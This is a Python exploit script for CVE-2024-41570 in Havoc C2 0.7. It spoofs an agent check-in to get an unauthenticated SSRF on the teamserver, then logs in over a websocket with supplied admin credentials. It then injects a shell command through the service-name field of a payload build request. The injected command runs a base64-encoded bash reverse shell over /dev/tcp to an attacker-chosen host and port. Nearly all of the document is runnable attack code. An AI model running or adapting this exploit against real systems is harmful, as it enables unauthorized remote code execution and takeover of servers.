# Exploit Title: Havoc C2 0.7 Unauthenticated SSRF # Date: 2024-07-13 # Exploit Author: @_chebuya # Software Link: https://github.com/HavocFramework/Havoc # Version: v0.7 # Tested on: Ubuntu 20.04 LTS # CVE: CVE-2024-41570 # Description: This exploit works by spoofing a demon agent registration and checkins to open a TCP socket on the teamserver and read/write data from it. This allows attackers to leak origin IPs of teamservers and much more. # Github: https://github.com/chebuya/Havoc-C2-SSRF-poc # Blog: https://blog.chebuya.com/posts/server-side-request-forgery-on-havoc-c2/ import binascii import random import requests import argparse import urllib3 import base64 import hashlib import json import struct urllib3.disable_warnings() from Crypto.Cipher import AES from Crypto.Util import Counter key_bytes = 32 def decrypt(key, iv, ciphertext): if len(key) <= key_bytes: for _ in range(len(key), key_bytes): key += b"0" assert len(key) == key_bytes iv_int = int(binascii.hexlify(iv), 16) ctr = Counter.new(AES.block_size * 8, initial_value=iv_int) aes = AES.new(key, AES.MODE_CTR, counter=ctr) plaintext = aes.decrypt(ciphertext) return plaintext def int_to_bytes(value, length=4, byteorder="big"): return value.to_bytes(length, byteorder) def encrypt(key, iv, plaintext): if len(key) <= key_bytes: for x in range(len(key),key_bytes): key = key + b"0" assert len(key) == key_bytes iv_int = int(binascii.hexlify(iv), 16) ctr = Counter.new(AES.block_size * 8, initial_value=iv_int) aes = AES.new(key, AES.MODE_CTR, counter=ctr) ciphertext = aes.encrypt(plaintext) return ciphertext def register_agent(hostname, username, domain_name, internal_ip, process_name, process_id): # DEMON_INITIALIZE / 99 command = b"\x00\x00\x00\x63" request_id = b"\x00\x00\x00\x01" demon_id = agent_id hostname_length = int_to_bytes(len(hostname)) username_length = int_to_bytes(len(username)) domain_name_length = int_to_bytes(len(domain_name)) internal_ip_length = int_to_bytes(len(internal_ip)) process_name_length = int_to_bytes(len(process_name) - 6) data = b"\xab" * 100 header_data = command + request_id + AES_Key + AES_IV + demon_id + hostname_length + hostname + username_length + username + domain_name_length + domain_name + internal_ip_length + internal_ip + process_name_length + process_name + process_id + data size = 12 + len(header_data) size_bytes = size.to_bytes(4, 'big') agent_header = size_bytes + magic + agent_id print("[***] Trying to register agent...") r = requests.post(teamserver_listener_url, data=agent_header + header_data, headers=headers, verify=False) if r.status_code == 200: print("[***] Success!") else: print(f"[!!!] Failed to register agent - {r.status_code} {r.text}") def open_socket(socket_id, target_address, target_port): # COMMAND_SOCKET / 2540 command = b"\x00\x00\x09\xec" request_id = b"\x00\x00\x00\x02" # SOCKET_COMMAND_OPEN / 16 subcommand = b"\x00\x00\x00\x10" sub_request_id = b"\x00\x00\x00\x03" local_addr = b"\x22\x22\x22\x22" local_port = b"\x33\x33\x33\x33" forward_addr = b"" for octet in target_address.split(".")[::-1]: forward_addr += int_to_bytes(int(octet), length=1) forward_port = int_to_bytes(target_port) package = subcommand+socket_id+local_addr+local_port+forward_addr+forward_port package_size = int_to_bytes(len(package) + 4) header_data = command + request_id + encrypt(AES_Key, AES_IV, package_size + package) size = 12 + len(header_data) size_bytes = size.to_bytes(4, 'big') agent_header = size_bytes + magic + agent_id data = agent_header + header_data print("[***] Trying to open socket on the teamserver...") r = requests.post(teamserver_listener_url, data=data, headers=headers, verify=False) if r.status_code == 200: print("[***] Success!") else: print(f"[!!!] Failed to open socket on teamserver - {r.status_code} {r.text}") def write_socket(socket_id, data): # COMMAND_SOCKET / 2540 command = b"\x00\x00\x09\xec" request_id = b"\x00\x00\x00\x08" # SOCKET_COMMAND_READ / 11 subcommand = b"\x00\x00\x00\x11" sub_request_id = b"\x00\x00\x00\xa1" # SOCKET_TYPE_CLIENT / 3 socket_type = b"\x00\x00\x00\x03" success = b"\x00\x00\x00\x01" data_length = int_to_bytes(len(data)) package = subcommand+socket_id+socket_type+success+data_length+data package_size = int_to_bytes(len(package) + 4) header_data = command + request_id + encrypt(AES_Key, AES_IV, package_size + package) size = 12 + len(header_data) size_bytes = size.to_bytes(4, 'big') agent_header = size_bytes + magic + agent_id post_data = agent_header + header_data print("[***] Trying to write to the socket") r = requests.post(teamserver_listener_url, data=post_data, headers=headers, verify=False) if r.status_code == 200: print("[***] Success!") else: print(f"[!!!] Failed to write data to the socket - {r.status_code} {r.text}") def read_socket(socket_id): # COMMAND_GET_JOB / 1 command = b"\x00\x00\x00\x01" request_id = b"\x00\x00\x00\x09" header_data = command + request_id size = 12 + len(header_data) size_bytes = size.to_bytes(4, 'big') agent_header = size_bytes + magic + agent_id data = agent_header + header_data print("[***] Trying to poll teamserver for socket output...") r = requests.post(teamserver_listener_url, data=data, headers=headers, verify=False) if r.status_code == 200: print("[***] Read socket output successfully!") else: print(f"[!!!] Failed to read socket output - {r.status_code} {r.text}") return "" command_id = int.from_bytes(r.content[0:4], "little") request_id = int.from_bytes(r.content[4:8], "little") package_size = int.from_bytes(r.content[8:12], "little") enc_package = r.content[12:] return decrypt(AES_Key, AES_IV, enc_package)[12:] def send_websocket_frame(data): length = len(data).to_bytes(2, 'big') data = b'\x81\xfe' + length + b'\x00\x00\x00\x00' + data write_socket(socket_id, data) def create_websocket_init_req(host, port, path): websocket_key = base64.b64encode(b"randombytes12345").decode("utf-8") request = ( f"GET {path} HTTP/1.1\r\n" f"Host: {host}:{port}\r\n" f"Upgrade: websocket\r\n" f"Connection: Upgrade\r\n" f"Sec-WebSocket-Key: {websocket_key}\r\n" f"Sec-WebSocket-Version: 13\r\n" f"\r\n" ).encode() return request def create_websocket_frame(message): payload = message.encode("utf-8") payload_length = len(payload) first_byte = 0b10000001 # Binary: FIN = 1, Opcode = 1 if payload_length <= 125: second_byte = 0b10000000 | payload_length frame = struct.pack("!BB", first_byte, second_byte) elif payload_length <= 65535: second_byte = 0b10000000 | 126 frame = struct.pack("!BBH", first_byte, second_byte, payload_length) else: second_byte = 0b10000000 | 127 frame = struct.pack("!BBQ", first_byte, second_byte, payload_length) masking_key = random.randbytes(4) frame += masking_key masked_payload = bytearray(payload[i] ^ masking_key[i % 4] for i in range(payload_length)) frame += masked_payload return frame def get_reverse_shell(local_ip, local_port): reverse_shell = f"bash -i >& /dev/tcp/{local_ip}/{local_port} 0>&1" bytes_data = reverse_shell.encode('utf-8') encoded_reverse_shell = base64.b64encode(bytes_data) reverse_shell = encoded_reverse_shell.decode('utf-8') cmd = f"echo {reverse_shell} | base64 -d | bash" return cmd parser = argparse.ArgumentParser() parser.add_argument("-t", "--target", help="The listener target in URL format", required=True) parser.add_argument("-i", "--ip", help="The IP to open the socket with", required=True) parser.add_argument("-p", "--port", help="The port to open the socket with", required=True) parser.add_argument("-A", "--user-agent", help="The User-Agent for the spoofed agent", default="Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36") parser.add_argument("-H", "--hostname", help="The hostname for the spoofed agent", default="DESKTOP-7F61JT1") parser.add_argument("-u", "--username", help="The username for the spoofed agent", default="Administrator") parser.add_argument("-d", "--domain-name", help="The domain name for the spoofed agent", default="ECORP") parser.add_argument("-n", "--process-name", help="The process name for the spoofed agent", default="msedge.exe") parser.add_argument("-ip", "--internal-ip", help="The internal ip for the spoofed agent", default="10.1.33.7") parser.add_argument("-U", "--admin-username", help="Username for admin auth", required=True) parser.add_argument("-P", "--password", help="Password for admin auth", required=True) parser.add_argument('-l', '--local-ip', help="The local address for reverse shell", required=True) parser.add_argument('-lp', '--local-port', help="The local port for reverse shell", required=True) args = parser.parse_args() # 0xDEADBEEF magic = b"\xde\xad\xbe\xef" teamserver_listener_url = args.target headers = { "User-Agent": args.user_agent } agent_id = int_to_bytes(random.randint(100000, 1000000)) AES_Key = b"\x00" * 32 AES_IV = b"\x00" * 16 hostname = bytes(args.hostname, encoding="utf-8") username = bytes(args.username, encoding="utf-8") domain_name = bytes(args.domain_name, encoding="utf-8") internal_ip = bytes(args.internal_ip, encoding="utf-8") process_name = args.process_name.encode("utf-16le") process_id = int_to_bytes(random.randint(1000, 5000)) register_agent(hostname, username, domain_name, internal_ip, process_name, process_id) socket_id = b"\x11\x11\x11\x11" open_socket(socket_id, args.ip, int(args.port)) init_ws_request = create_websocket_init_req(hostname, args.port, '/havoc/') write_socket(socket_id, init_ws_request) payload = {"Body": {"Info": {"Password": hashlib.sha3_256(args.password.encode()).hexdigest(), "User": args.admin_username}, "SubEvent": 3}, "Head": {"Event": 1, "OneTime": "", "Time": "18:40:17", "User": args.admin_username}} message = create_websocket_frame(json.dumps(payload)) write_socket(socket_id, message) payload = {"Body":{"Info":{"Headers":"","HostBind":"0.0.0.0","HostHeader":"","HostRotation":"round-robin","Hosts":"0.0.0.0","Name":"abc","PortBind":"443","PortConn":"443","Protocol":"Https","Proxy Enabled":"false","Secure":"true","Status":"online","Uris":"","UserAgent":"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36"},"SubEvent":1},"Head":{"Event":2,"OneTime":"","Time":"08:39:18","User": args.admin_username}} message = create_websocket_frame(json.dumps(payload)) write_socket(socket_id, message) cmd = get_reverse_shell(args.local_ip, args.local_port) injection = """ \\\\\\\" -mbla; """ + cmd + """ 1>&2 && false #""" payload = {"Body": {"Info": {"AgentType": "Demon", "Arch": "x64", "Config": "{\n \"Amsi/Etw Patch\": \"None\",\n \"Indirect Syscall\": false,\n \"Injection\": {\n \"Alloc\": \"Native/Syscall\",\n \"Execute\": \"Native/Syscall\",\n \"Spawn32\": \"C:\\\\Windows\\\\SysWOW64\\\\notepad.exe\",\n \"Spawn64\": \"C:\\\\Windows\\\\System32\\\\notepad.exe\"\n },\n \"Jitter\": \"0\",\n \"Proxy Loading\": \"None (LdrLoadDll)\",\n \"Service Name\":\"" + injection + "\",\n \"Sleep\": \"2\",\n \"Sleep Jmp Gadget\": \"None\",\n \"Sleep Technique\": \"WaitForSingleObjectEx\",\n \"Stack Duplication\": false\n}\n", "Format": "Windows Service Exe", "Listener": "abc"}, "SubEvent": 2}, "Head": { "Event": 5, "OneTime": "true", "Time": "18:39:04", "User": args.admin_username}} message = create_websocket_frame(json.dumps(payload)) write_socket(socket_id, message) print(read_socket(socket_id).decode())